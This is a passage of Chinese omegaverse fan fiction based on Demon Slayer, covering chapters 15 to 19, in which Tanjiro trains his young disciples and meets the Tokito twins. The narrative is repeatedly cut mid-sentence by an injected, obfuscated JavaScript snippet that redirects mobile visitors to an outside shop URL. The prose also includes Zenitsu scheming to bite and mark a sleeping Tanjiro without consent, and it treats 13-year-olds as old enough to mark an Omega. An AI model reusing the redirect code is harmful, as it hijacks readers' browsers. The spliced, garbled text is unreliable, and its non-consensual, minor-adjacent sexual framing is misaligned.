炭治郎怀疑香奈乎就是特地去买给蝴蝶姐妹们吃的。 但是香奈乎为什么会知道忍小姐喜欢吃生姜佃煮? “要不然富冈给我来培育吧?毕竟炭治郎你已经有了锖兔和杏寿郎了,再多一个的话,你怎么也吃不消的。” 吃饭的时候,善逸提议道。 正低头吃着炭治郎特地给自己做的鲑鱼萝卜的富冈义勇,手里的筷子顿住了。 嘴里那块鲜嫩的鱼肉,好像一下子也没有了味道。 对啊,灶门先生已经有两个很厉害的继子了。 十二岁的炼狱已经通过了最终考核,成为了一名正式的鬼杀队队员。 与他同岁的锖兔,也只等着今年的最终考核了。 身为柱的灶门先生,任务繁重,一定很忙…… 自己应该还是会被送走吧? 要么是被送给其他的培育师,要么是送给眼前这个金色头发的人。 毕竟自己十分的普通。 在筷子上咬了一下,富冈义勇有些泄气。 这不是任何人的错,是他自己的缘故,因为他太弱了,也太普通了。 “非常感谢你的好意,善逸,但是义勇我还是想自己培养。”炭治郎说道。 富冈义勇眨了眨眼,咬着筷子的牙齿稍微松了一点。 刚刚……灶门先生说了什么? 自己听错了吗? “诶?这样吗?你真的要自己带吗?但是你已经有两个继子了,三个的话你太忙了吧?特别富冈还是刚刚才带回来的孩子。鬼杀队的成员不是都要先经过培育师,再通过最终考核,然后柱在这些成员中挑选天赋很强的孩子作为继子吗……炼狱我能理解,锖兔天赋看起来也很好,但是富冈的话……” 富冈义勇低下了头。 金色头发的柱说的没有错,他没有任何的基础。 现在的他没有成为灶门先生的继子的资格。 “义勇很强的,我很喜欢他,我想要把他留在我的身边。”炭治郎的声音再一次的如同天籁一般进入了富冈义勇的耳中。 富冈义勇抬起了头。 灶门先生……觉得他很强吗? 而且,也很喜欢自己,想要把自己留在身边…… 他的脸颊染上了一片红色。 “你的想法我是能理解啦,”善逸还是有一些担心,“但是从零开始带一个新的孩子会很累的,炭治郎你也很忙,没有那么多的精力啊。” “这也确实是一个问题呢……”炭治郎做出了思考的样子。 “所以说……”善逸看炭治郎的态度有点松动,又一次的打算提出自己的想法。 转过头,炭治郎看向富冈义勇,打断了善逸的话,“义勇,在我出去做任务的时候,你也一定不能懈怠哦!” 心情经历了过多的上下起伏的富冈义勇回不过神,愣愣地点了点头,他的嘴角还沾着一粒米。 炭治郎凑了过去,用手指将那粒米捻了下来,很自然地放进了自己的嘴中。 这是他在家里对自己的弟弟妹妹经常做的动作,他没有觉得有什么奇怪的地方,还顺口调侃道:“义勇已经十三岁了,原来还会把饭吃到脸上吗?” 灶门先生做了什么? 灶门先生说了什么? 本来就已经失去了思考能力的富冈义勇的大脑彻底宕机。 一直沉默着吃饭没有在柱们说话的插嘴的锖兔震惊的看了一眼炭治郎,又低头看着自己的碗,发现里面已经一粒米都不剩了之后失望的叹了口气。 他听师父说过,关系好的兄弟姐妹之间会吃掉对方脸上粘着的米粒,没有想到是真的。 真好啊,他也想体验一下。 善逸则是瞪大了双眼望着炭治郎,他大张着嘴巴,过了半晌,他猛地把自己的头迈进了饭里,沾了一圈饭后才起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076810|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了头。 “炭治郎!我的饭也吃到脸上了!”对着炭治郎喊道。 炭治郎看都没看他,“善逸已经十八岁了,已经过了会把饭吃到脸上的年纪了。” “不不是的,我吃到脸上了,你快看啊!”善逸急切地说,“啊你不用动手,你直接舔掉也可以!” 被缠的无奈的炭治郎:“……” “不要用这种看垃圾的眼神看我啊!!!” 善逸的声音富冈义勇已经听不到了。 他的耳边只能听到自己擂鼓一般的心跳声。 不,不行,自己已经十三岁了,已经到了可以标记Omega的年纪了,再过几年就能和Omega成契在一起了。 他得要淡定一些。 不能让灶门先生看到他这么丢人的样子。 灶门先生一定不会喜欢幼稚的,不成熟的Alpha的。 端起鲑鱼萝卜的碗,富冈义勇想要喝一口汤冷静一下,但澄清见底的汤端到面前,印出他的脸的时候,他又看到了刚刚灶门先生吃掉他嘴角那粒饭的一幕。 “灶门先生!!!富冈义勇的头顶冒烟了!!!”坐在自己姐姐旁边的蝴蝶忍在看到富冈义勇头顶的烟后惊悚的叫了出声。 等吃完饭后,香奈乎带走了蝴蝶姐妹。善逸则哭唧唧地赖着不想走。 “炭治郎!我们好几天没有见到了,你就让我留下来吧。”善逸拉着炭治郎的袖子说。 炭治郎有些为难,“行是行……但是家里已经没有多余的被褥了。” 善逸扭捏了一下,小声说:“我可以和炭治郎睡在一起的。” “不行的,”炭治郎摇了摇头,“我们家只有两床被褥,今天晚上锖兔和义勇其中一个都只能和我睡在一起了。” 善逸:“……” “等等等等,炭治郎你说什么?为什么是你和他们两个其中一个一起睡,为什么不是他们两个一起睡?你在说什么啊炭治郎!呀!!!不可以!!!我们家的炭治郎绝对不能和其他的来路不明的Alpha睡在一起,一定会被沾污的!!!!我不允许!!!!!” 16.第 16 章 “善逸,声音太大了。”炭治郎捂着被善逸的声音炸的生疼的耳朵。 他没有看懂善逸为什么有这么大的反应,他耐心的解释道:“锖兔和义勇不愿意睡在一起。而且义勇刚刚离开姐姐,独自一人跟我来到了鬼杀队,性格内向腼腆,还怕黑,晚上可能会做噩梦。” “那锖兔呢……?” 炭治郎扶着脸叹了一口气,眉目间染上了一丝忧愁。 “锖兔这几天也很想鳞泷师父,但是又不好意思说出来,只能偷偷地抱着被子躲在衣柜里。” 善逸面无表情地看着炭治郎,又扭头看了看在院门内一左一右站着的两个只比炭治郎小四岁,但其实已经分化完全了的Alpha。 ……不不不不不,怎么想都很奇怪啊,Alpha怎么会怕黑? 自己这种娇小可爱楚楚动人的Alpha都没有怕黑的时候啊! 这两个人的气场看起来等级还很高。 现在就和他差不多了,不知道以后会不会变得更强。 这样的Alpha,怕黑? 想师父想到躲衣柜? 真的假的? 等等,炭治郎是会相信这样的话的吗? 那这样的话,自己是不是也可以……? 咽了一口唾液,善逸抬起了双手,搭在了炭治郎的肩膀上。 他闭着眼睛,咳嗽了两声,想了一辈子下来所有的让他难过的事情,终于在眼眶里憋出一滴眼泪。 “炭治郎,其实我一直没有跟你说一件事。” “什么?” “其实这么多年来,我一直很怕黑,”善逸说着,哽咽了一下,又抽了抽鼻子。 “我每天晚上都睡不着,只有白天才能稍微睡着一会儿。而且我也性格腼腆内向,我其实这些年来每天每夜都想着爷爷,在一个人偷偷地哭。” 啊……自己这段话说的很好,表情什么的也很到位。 炭治郎一定会相信的吧? 对的吧? 肯定会相信的吧! 善逸在心中给自己打了个满分。 等炭治郎因为同情他,跟他一起睡觉了之后,他就趁着炭治郎睡着的时候,偷偷的咬破他后颈的腺体,再把自己的信息素注射进去。 炭治郎之后一定会醒过来,到那个时候,他再一边哭着说自己只是因为太喜欢炭治郎了控制不住自己,一边再趁机蹭到他的怀里。 最后趁着炭治郎迷迷糊糊的时候,再这样那样那样这样。 嘿嘿嘿。 在炭治郎看不到的地方,善逸的嘴角控制不住的翘了上去。 直到…… 炭治郎将善逸的手从自己肩膀上打了下来。 “善逸,你知道我的鼻子很灵吧。”炭治郎平静地看着他。 但善逸却从中看出了山雨欲来的味道。 “诶……?” 炭治郎的鼻子……对,炭治郎的鼻子很灵!!! 坏了!!! 他忘了有这回事了! 等等,炭治郎的鼻子很灵为什么会相信他们的话啊!!! 难道那两个Alpha真的怕黑真的一个人很孤单真的会哭吗! 这不对啊!!! 不对不对不对,现在他不是应该考虑其他人的时候! 冷汗顺着善逸的额头流了下来。 “炭治郎,你听我解释,不是你想的那样……” 绞尽脑汁思考自己应该怎么才能让炭治郎重新相信自己的善逸对上了炭治郎用看垃圾一样的眼神。 几秒后。 善逸后退了几步,九十度鞠躬大声道歉:“对不起!!!!!!” 呜呜呜……他就不应该妄想试图利用炭治郎的善良。 善逸抽了抽鼻子,真心诚意的落下了眼泪。 善逸只是因为和自己关系好,害怕自己被其他人抢走了才会说出这种话的吧? 炭治郎无奈地笑了一下。 就好像伊之助一样,不知道什么是媳妇,只是觉得自己如果是他的媳妇的话自己就能做饭给他吃一辈子。 对他们没有必要那么苛刻。 而且善逸一直都很善良,不会是故意说出为难别人的话的人。 他一定是为了锖兔和义勇先生好才这么说的。 这么想着,炭治郎伸手揉了揉善逸的头。 “我知道善逸你很担心他们,身为鬼杀队的队员不应该这么胆小。但是他们还只是十三岁的孩子而已,不要对他们要求那么高。” 善逸:“???” 不不不不不! 等等,你在想什么东西!!! 我完全不担心他们!!! 我担心的是你啊!!! 你真的知道你是Omega吗? 他们可是Alph ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080104|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' a啊!!! 就跟那种看到喜欢的Omega就跟看到骨头的狗子一样,要从头到尾舔个干干净净而且还要在嘴巴里含一下嗦几口的愚蠢幼稚的Alpha啊!!! 等等,等等!!!! 炭治郎是不是不知道Alpha是什么,Omega是什么,Beta是什么!! 这么一想真的有可能啊! 炭治郎失去了这个世界的记忆,剩下的是另外一个世界的记忆! 说不定另外一个世界根本就没有这些性别啊!!! 猛然意识到自己可能需要保护炭治郎的贞操问题的善逸连忙站直了身体。 “等等,炭治郎!你是不是不知道……” “啾啾啾,啾啾啾!”一只腿上绑着信的麻雀飞到了善逸的肩膀上,打断了他的话。 “诶……啾太郎吗?是有任务吗?稍微等一下,我和炭治郎再说几句话……” 啾太郎没有理善逸,它跳到了善逸的鼻子上,对着他的脑门就使劲啄了下去。 “等……好疼!啾太郎!真的,就只是说几句话而已,我会去做任务的,你信我!” 啾太郎没有理他,接着啄。 “善逸还是老实去做任务比较好,啾太郎说你总是用这种方法逃避任务,已经没有信誉了。”炭治郎在一旁翻译道。 善逸摸了摸被啄疼的脑门。 不,他只是想要跟炭治郎解释一下性别…… 与啾太郎的豆豆眼对视了片刻,输了下来的善逸抽了抽鼻子,委屈地看了一眼任务信。 算了,先去做任务吧……只要回来的足够快就行了。 他指着炭治郎,撕心裂肺的喊道:“总之不要和他们睡在一起……知道了吗?炭治郎,一定不要跟他们睡在一起啊!等我回来跟你说怎么回事!” 炭治郎无奈地对着他挥了挥手,“我知道了,善逸做任务的时候请务必小心一些。” 这……这不就是!!! 妻子在家里等着出去工作的丈夫回来,说的那句经典的话吗!!! 等回来了之后,炭治郎是不是就要跟我说,亲爱的,你回来了,你是要先吃饭,还是要先洗澡,还是要先吃我? 呀!!!!!! 好害羞! 已经跑出了有些距离的善逸提高了嗓门,回头一脸傻笑着挥手:“我知道啦~炭治郎~人家会小心的~” 17.第 17 章 一转眼,一个月的时间过去了。 善逸本以为自己只是出一个简单的任务。 再怎么说,最多也只会花个一周的时间,等回来的时候就能和炭治郎碰上面。 然而一个月过去了,他连炭治郎的影子都没看到。 倒不是任务花了很多的时间,而是因为他回去的时候炭治郎出任务去了,炭治郎还没有回来的时候,他又出去做任务了。 就这么阴差阳错的一个月都没有碰上面过。 不……不行! 不能这样! 炭治郎已经十七岁了! 他今年可能就要十八岁了! Omega再迟也会在十八岁的时候迎来自己的第一次发热期,他不能再沉迷任务了! 再这么沉迷任务下去的话,老婆都要没了! 没有老婆的话,和让他死了有什么区别! 以平生最快的速度砍断了鬼的脖子,善逸冲回了镇子里。 在镇子门口,他看到了正带着蝴蝶姐妹跑步的香奈乎,连忙冲过去问道:“小香奈乎!炭治郎在家么!” 香奈乎摇了摇头。 蝴蝶忍带着一丝防备的神色看着他,“你找日柱大人做什么?” “不要这么没有礼貌,小忍。”蝴蝶香奈惠叮嘱道。 蝴蝶忍哼了一声没有说话。 姐姐因为是Beta所以神经比较粗一些,但有些事情只有Alpha之间才知道。 鸣柱大人对日柱大人的心思都摆在明面上了,她防备一点不是正常的事情吗? 香奈惠揉了揉蝴蝶忍的头,然后抬头跟善逸说:“鸣柱大人,日柱大人今天早上有任务,已经出门了。” 善逸抱着脑袋哀嚎起来。 “诶???不是吧!!!!又迟了吗!!!糟糕了,现在已经七月十三日了,明天就到炭治郎的生日了!如果炭治郎生日的当天迎来了发热期怎么办!!!小香奈惠,炭治郎是一个人出门的吗?” 香奈惠摇了摇头。 蝴蝶忍皱着眉头:“你在说什么啊,日柱大人肯定会带上锖兔他们啊。” 善逸的眼泪流了出来,他双膝一软跪在了地上,用拳头捶着地面,哭嚎起来。 “我就知道……可恶,他们两个都是Alpha啊……炭治郎怎么能对他们那么放心,他们已经分化完毕了啊……我家炭治郎在哪里啊……炭治郎,我好想你啊……” 一米八多的Alpha跪在地上哭果然还是有些丢人了…… 香奈惠迟疑了一下,走过去,把自己的手轻轻放在了善逸的手背上,安慰道:“鸣柱大人,请不要担心,日柱大人已经是一个成熟的大人了,他一定可以在外面照顾好自己。” 善逸抬起了头,抽了抽鼻子,有点感动。 “诶?是这样吗?小香奈惠是这么认为的吗?我也觉得炭治郎肯定可以照顾好自己的啦……但是不行啊,炭治郎不知道Omega是什么东西,他的身边还跟着两个图谋不轨的Alpha,我好担心啊,我们家炭治郎的贞操不是应该是我的吗?” 他说着就要抱着香奈惠哭,手还没有碰到香奈惠,蝴蝶忍就张开双手挡在了他的面前。 同时,一把冰凉的日轮刀贴上了他的脖子。 “善逸,炭治郎在景信山。”香奈乎的声音平静地响起。 善逸抽了抽鼻子,完全没有在意香奈乎横在他脖子上的日轮刀。 “小香奈乎,我就知道你是个好人!我现在就去景信山!再见!” 说着,他就一骨碌从地上爬了起来,深呼吸了一口气,像是闪电一般冲了出去。 蝴蝶忍:“……” 他真的没关系吗? 而且也不算是两个Alpha吧……? 炼狱杏寿郎也已经提前分化完了,现在应该是三个Alpha了。 - 被我妻善逸叨念的炭治郎在火车上打了个喷嚏。 “日柱大人,是感冒了吗?”锖兔以迅雷不及掩耳之势将自己的羽织脱了下来,递给了炭治郎。 “穿我的羽织吧!” 炭治郎摇了摇头,“不是感冒。” 如果不是感冒的话…… “师父是对什么东西过敏吗!如果是这样就麻烦了!”炼狱杏寿郎说道。 炭治郎再次摇头,“也没有……天王寺,可以跟我说一下我们这一次任务的具体内容吗?” 这一次的任务在东京府附近的一座山上,并不是杀鬼的任务,而是主公希望他们可以劝说两名少年加入鬼杀队。 除此之外就没有其他的信息了。 “笨蛋!你知道的就是任务的全貌!你还有什么问题!”乌鸦天王寺叫道。 “比如那两名少年的名字,以及他们喜欢的东西、家庭背景这些吧?” “笨蛋!这些事情我怎么知道!”天王寺说着就打算飞走,却被默不作声的富冈义勇一把抓住了脖子。 “师父不是笨蛋。”早就看天王寺不顺眼的富冈义勇瞪着它。 “臭小鬼!放开我!”天王寺伸出嘴就要去啄富冈义勇的手。 富冈义勇在它的嘴巴啄到自己之前松开了那只手,又在它掉头啄向自己另一只手的时候,迅速换手再次抓住了天王寺。 锖兔和杏寿郎想要阻止他,炭治郎却按住了他们,只是摇了摇头,饶有趣味的看着富冈义勇的动作。 以前的义勇先生可从来没有这样的一面过。 真可爱啊。 过了一会儿,富冈义勇在发现师父的目光一直盯着自己时,脸颊瞬间红了一大半,手上一滑,被天王寺挣脱了开来。 天王寺扑腾着翅膀,在义勇的头顶狠狠啄了好几下。 炭治郎连忙伸手护住了义勇的脑袋。 天王寺哼了一声,从车窗飞了出去。 富冈义勇红着脸低下了头,“对不起师父,被它逃跑了……我太笨拙了。” “才没有这种事情,”炭治郎温和地说,“义勇很厉害的。” 锖兔和杏寿郎也跟着点头嗯嗯了几声。 这一个月的时间里,最让他们大跌眼镜的就是富冈义勇竟然能在这么短的时间里跟上他们的体能训练,还学会了水之呼吸的前四势。 “如果按着这个速度的话,富冈说不定能赶得上今年的最终选拔。”锖兔说。 富冈义勇有点震惊地抬起了眼睛,他望了望锖兔,又扭头望向炭治郎。 “应该是可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083987|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,距离最终选拔还有几个月,义勇要加油哦。” 富冈义勇的脸又热了起来。 “机会难得!富冈也试试和师父学习日之呼吸吧!说不定可以!”炼狱也跟着说。 富冈义勇摇了摇头,头耷拉了下来。 之前师父就已经提过这件事了,他们也确实的试过了。 但是…… “我学不会日之呼吸。”富冈义勇有点惋惜。 “真是可惜!锖兔呢!” “啊……我有想试过,但是好像还是水之呼吸跟我更加适配一点。”锖兔无奈的耸了耸肩。 他本来还想过干脆强行学习日之呼吸,但学了几天后发现对身体的负担真的很大,这才作罢。 炭治郎问:“杏寿郎要试试吗?” “虽然日之呼吸很强,也是最初的呼吸法,但是我还是不了!”杏寿郎回答。 “我想要使用炎之呼吸!我是炼狱家的孩子,我应该继承父亲的衣钵!” 炼狱先生确实是这样的,有责任心,又有担当。 炭治郎想,他那个世界的炼狱先生,也是小小年纪就肩负起了整个家族。 不管在哪个世界,大家依旧还是大家,不会有任何的改变。 “杏寿郎一定可以肩负起整个炼狱家,成为炼狱家的荣耀的!” 炼狱杏寿郎的脸以肉眼可见的速度红了起来。 “我会努力成为师父的荣耀的。”富冈义勇拽了拽炭治郎的衣服,小声的说道。 糟糕。 小小的义勇先生和小小的炼狱先生真的太可爱了! 就像是自己的弟弟竹雄和茂他们一样。 大家小时候都这么可爱的吗! 炭治郎突然伸出双臂,将义勇和杏寿郎两人都抱了起来。 “师父???”义勇惊讶地喊了一声。 “师父!请放我下来!这样成何体统!”杏寿郎挣扎着说。 “啊,很抱歉,”炭治郎笑着说,“但是杏寿郎和义勇真的很可爱。” 他说话的时候,感觉自己的羽织被人拽了两下。 他转过头,看到锖兔站在那里,表情看起来有些纠结。 “怎么了吗,锖兔?”炭治郎问。 被抱着的杏寿郎和义勇对视了一眼。 炼狱杏寿郎:拉他下水! 富冈义勇:就这么干! 杏寿郎:“锖兔也想被抱抱!” “等……笨蛋!我怎么可能想被抱!我可是Alpha!”锖兔的脸一下子涨红了。 富冈义勇:“但是你看起来很想被抱抱的样子。” 锖兔:“????根本就没有这种事情!!日柱大人,你不要相信他们!” “原来锖兔也想要抱抱吗!我知道了!”鼻腔里闻到了锖兔说谎的味道的炭治郎并没有把他拒绝的话当做一回事,锖兔还没来得及跑,就被炭治郎一把捞了起来,和另外两个人紧紧地抱在了一起。 锖兔:“???” 日柱大人的力气太大了啊!!! 虽然这个怀抱真的很温暖,他也刚刚确实是有点纠结想要被抱一下! 但是绝对不是像现在这样!和另外两个家伙一起被抱着啊!! 18.第 18 章 下了火车之后,炭治郎就带着三个孩子朝着山上走去。 山坡,就看到了一间耸立在林子前面的小木屋,门口有一个…… “时透君?”炭治郎愣愣地开了口。 门口正在劈柴的少年皱着眉头抬起了头,不耐烦地对炭治郎开口:“你是谁啊?” 炭治郎愣了一下。 这个感觉和无一郎给自己的感觉不一样,但他的脸就是无一郎的脸,这是…… “哥哥,你在和谁说话?”木屋里面传来了一个软绵绵的少年音。 炭治郎的目光落在了门口,一个和门口劈柴的少年长得一模一样的少年从木屋里走了出来。 “你们就是师父这一次的任务对象吗!你好!我叫炼狱杏寿郎!”炼狱杏寿郎大步走到了劈柴的少年面前,对他伸出了手。 “啪!” 炼狱杏寿郎的手被那个劈柴的少年用力打了开来 他一脸防备地望着炭治郎他们,“你们到底是什么人!我们家很穷!没有你们想要的东西!快点走!” “不是,我们是……!”炭治郎张口想要解释,可他刚出声,劈柴的少年立刻弯腰抓起了一根木柴,朝着炭治郎就要扔过去。 从房子里出来的少年连忙抱住了他的手臂阻止了他,“等等,哥哥……他们不一定是坏人,我们可以听一下他们说的话……” “有什么好说的?!我们只是樵夫而已,有什么任务的对象会是我们!”劈柴的少年对着弟弟吼道,“你快放开我!无一郎!” “不……哥哥!” 无一郎…… 那个从房间中出来的,是自己认识的那个无一郎? 自己从来没有听过无一郎有哥哥这件事情。 在自己的那个世界里,他进入鬼杀队的时候似乎失去了记忆。 难道说,和他的哥哥有关系吗…… 因为某一次的事件失去了他的哥哥……? 现在的他还没有失去自己的哥哥,这样的话,自己是不是也能救下无一郎的哥哥? 炼狱杏寿郎对着时透兄弟深深鞠了一躬,“这真是我的失态!十分抱歉!!我没有说明来意!我们是鬼杀队的成员,受主公大人的委托,劝说你们加入我们鬼杀队,成为一名杀鬼剑士!” “哥哥,你看,是杀鬼剑士诶,好帅。”无一郎拽了拽哥哥的衣服说道。 他又看向炼狱杏寿郎,“那个……你叫炼狱君是吧……?炼狱君,我们也可以成为杀鬼剑士吗?” 炼狱杏寿郎:“我不知道!但是主公说可以!那就一定可以!” “没错!主公的话绝对是对的!他做的决定从来没有出过错误!”锖兔也走了过去,“我叫做锖兔,虽然还没有通过最终选拔,但是我也勉强可以算得上是一名杀鬼剑士!” 他说完之后,回头看了一眼还站在炭治郎旁边的义勇。 义勇对上了他的眼睛,抬起手指了指自己。 锖兔斩钉截铁地点了点头。 义勇抬头望了一下炭治郎,然后也走了过去,“我叫富冈。” 说完这四个字之后,就没了后续。 锖兔问:“你没有什么其他想说的么?” 富冈义勇抬起头,眸子中写满了迷茫。 还要说什么? 他都不知道他们让自己也过来做什么的…… 锖兔和富冈义勇对视了几秒之后,决定放弃交流。 他转向时透兄弟,“主公希望你们也成为杀鬼的剑士,你们跟我们一起来吧!” 无一郎的眼睛亮了起来,“哥哥,我们可以去做杀鬼的剑士诶,走吧走吧。” 他这么说着,拽着哥哥的手就要往房子里面走。 然而他的哥哥一把甩开了他。 “你在说什么啊!来历不明的人说的话你为什么要相信!什么杀鬼的剑士啊!这个世界根本就没有鬼,如果有鬼的话,爸爸妈妈为什么死了之后从来没有回来看过我们?他们那种愚蠢的好人,真的能放心自己两个孩子独自生活吗?” “哥哥……”无一郎担心地望着他的哥哥,想把手放在哥哥的肩膀上,又被他的哥哥拍开。 “不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087708|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰我!我是不会去当什么杀鬼剑士的!你也不许去!” 他的哥哥抬起了头,瞪着无一郎,又伸手指着炭治郎。 “你别以为我不知道你是什么人!你就是那种会把小孩子骗去奇怪的地方去做奇怪的生意的人!我和无一郎是不会跟你走的!你死了这条心吧!” 炭治郎:“……?” 他愣愣地指着自己。 把小孩子骗去奇怪的地方做奇怪的生意的人……说的是自己吗? 奇怪的地方是什么地方? 奇怪的生意是什么? “为什么不说话!是因为我说中了吗!”劈柴少年用手指着炭治郎喊道。 炭治郎有一些尴尬的摸了摸鼻子:“不是……我只是不知道奇怪的地方和奇怪的生意是什么……” 劈柴少年:“……?” “你说的奇怪指的是哪个方面的?鬼杀队确实和一般的工作不一样,而且斩杀的鬼也和传统意义上的鬼不一样……而且因为没有和官方有合作,所以我们携带刀具是违反了禁刀令的……这样算是奇怪的生意吗?” 炭治郎说到这里之后,发现那边的五个少年都一脸呆滞地望着他。 摸了摸自己的脸,“我说的有什么问题吗……?奇怪不是指的是这种地方吗……?难道是还有什么……” “日柱大人,”锖兔开口,“那指的是游郭……” “师父!您说的一点问题也没有!”炼狱杏寿郎突然大声打断了锖兔的话。 锖兔震惊地望向炼狱杏寿郎。 “对,师父,你说的是对的。”富冈义勇也立刻附和。 锖兔又震惊地望向了富冈义勇。 “不是,你们两个在说什么呢???明明说的就是游郭……” “不!师父说的一点错也没有!!”炼狱杏寿郎又一次地打断了锖兔的话。 锖兔:“?????” 炭治郎:“?????” 为什么从杏寿郎和义勇的身上传来了浓厚的说谎的味道啊! 他们到底瞒了自己什么啊!! 19.第 19 章 一直等到了晚上,炭治郎也还是不知道劈柴少年说的奇怪的地方和奇怪的生意是什么,但好歹知道了劈柴少年的名字叫做有一郎。 是一个一听就能听出来和无一郎是兄弟的名字。 “诶……?所以你们自从父母死去了之后就独自住在山上吗?好厉害。” 木屋的附近,炭治郎堆了一小摊火堆,火堆的旁边有几条鱼用树杈串着,隔着火烤。 “嗯,哥哥很厉害,我什么都不会做,如果不是哥哥的话我们可能已经饿死了。” 无一郎手上拿着一串烤鱼,咬了一口下来。 鱼皮被烤得焦香酥脆,里面的鱼肉雪白细嫩,只用了盐来调味,反而将鱼本身的鲜美完全提了出来。 他眼睛一亮,对着木屋喊:“哥哥!炭治郎做的烤鱼很好吃!” 木屋里的有一郎:“……” 等了一会儿没有收到有一郎的回应,无一郎也没有在意。 他转向炭治郎,“炭治郎想要让我们成为杀鬼剑士吗?我们真的可以成为杀鬼剑士吗?剑士应该和武士大人一样吧?不是只有有钱人家才能当的吗?” 这个问题炭治郎也不知道怎么回答。 他自己进入鬼杀队的契机是家人都被杀死,然后义勇先生给他写了推荐信,他就成为了鳞泷师父的徒弟,再之后就顺理成章地加入了鬼杀队。 这种时候就需要一个熟知鬼杀队规定的人。 炭治郎望向了炼狱杏寿郎。 炼狱杏寿郎正在沉迷于吃手上的烤红薯,这是他们下午的时候发现可能要在这里待上一段时间的时候,下山去买回来烤着当主食的。 接收到了炭治郎的目光,炼狱杏寿郎咽下了嘴中的红薯,开口道。 “鬼杀队效忠于产屋敷家族!就如师父之前所说,我们与官方并没有合作的关系,所以并不能光明正大地持刀上街,这一点有别于传统意义的武士!至于入队的门槛,这个只看个人能力!在确认要加入鬼杀队了之后就会将你们送去培育师那里,在培育师那里经过了训练后,参加一年一度的最终选拔后就可以成为一名鬼杀队的队员!” 无一郎似懂非懂地点了点头,抬头问:“炭治郎是培育师吗?” 炭治郎摸了一下无一郎顺滑的长发,“不,我不是培育师,我是一名杀鬼剑士。” 无一郎拖长了声音“诶?”了一声,“我以为炭治郎也是培育师呢,那为什么炭治郎身边还会跟着三个徒弟?” 锖兔解释:“日柱大人是鬼杀队最强大的杀鬼剑士,我们是以他的继子的身份在他的身边接受培育。” 炼狱杏寿郎也跟着点头:“嗯!师父是一百多年来最强大的杀鬼剑士!” 他说着,抬头望向了炭治郎,却看到炭治郎的眉眼有些担忧,正朝着远方望去。 炼狱杏寿郎喊了一声:“师父?” 炭治郎收回了目光,“没事……我就是有点担心义勇,他去方便已经很久了,还没有回来。” 锖兔咬了一口手上的烤鱼,“会不会是迷路了?” 炭治郎摇了摇头,“不知道。” 但如果迷路了就糟糕了。 他的眉头皱了起来。 虽然现在的天气晚上不会有熊出来觅食,但在山里迷路事情也不小。 他站了起来,“锖兔和杏寿郎在这里等着,我去找义勇。” 炼狱连忙站了起来,“师父!我跟你一起去!” 炭治郎摇头,“不用,你们在这里等我就可以了。” - 富冈义勇在山里走着。 他有些懊恼,自己只是想找个比较远一点的地方上厕所,结果一转头就迷路了…… 自己怎么能这么没用? 月光高高地悬挂在天上,他的步伐加快了一些。 如果不快点回去就糟糕了,师父一定会担心的…… 但是自己现在到底在哪里? 白天的时候还勉强可以辨认位置,现在他连自己在上山还是下山都不知道。 如果能看到人就好了,可以问一下路。 心里正焦急,富冈义勇看到前方的树丛中有两个身影。 他的眼睛一亮,有人!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096009|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他可以问路了! 只要可以找到下山的路,他就能找到师父他们的位置。 这么想着,他连忙朝着前方走去。 刚张开口,还没有问出声,他就听到其中一个小一些的身影跪在了地上,抱着自己的脑袋,喊道:“求求你放过我!如果你放过我的话,我就带你去找更多的人……” 富冈义勇停住了脚步。 找更多的人……什么人? 为什么要找人? 另外一个大一些的身影笑了起来,声音尖锐又难听。 